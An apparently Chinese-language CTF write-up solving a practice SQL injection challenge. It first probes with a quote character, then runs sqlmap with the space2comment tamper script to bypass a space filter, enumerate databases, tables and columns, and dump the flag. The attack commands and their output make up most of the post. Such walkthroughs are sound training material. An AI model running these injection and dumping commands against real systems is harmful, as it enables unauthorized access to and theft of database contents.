Sqlmap初學(xué) 實(shí)驗(yàn)吧 簡(jiǎn)單的SQL 注入二

http://ctf5.shiyanbar.com/web/index_2.php

一開始我們簡(jiǎn)單的來一下輸入 1'

提示 語法錯(cuò)誤 但并沒有過濾 '?

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ''1''' at line

過濾了空格

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment --dbs


得到結(jié)果

available databases [3]:

[*] information_schema

[*] test

[*] web1


很明顯。。這是跟第一題一樣樣的

next

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 --table


結(jié)果如下

Database: web1

[2 tables]

+-------+

| flag? |

| web_1 |

+-------+


next?

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 -T flag --columns


Database: web1

Table: flag

[2 columns]

+--------+----------+

| Column | Type? ? |

+--------+----------+

| flag? | char(30) |

| id? ? | int(4)? |


我們指定顯示flag的字段內(nèi)容

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 -T flag -C flag --dump

Database: web1

Table: flag

[1 entry]

+----------------------------+

| flag? ? ? ? ? ? ? ? ? ? ? |

+----------------------------+

| flag{Y0u_@r3_5O_dAmn_90Od} |

+----------------------------+


總結(jié)

在這里面用到的方法內(nèi)容都差不多

只要多用tamper的腳本多嘗試就可以了

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容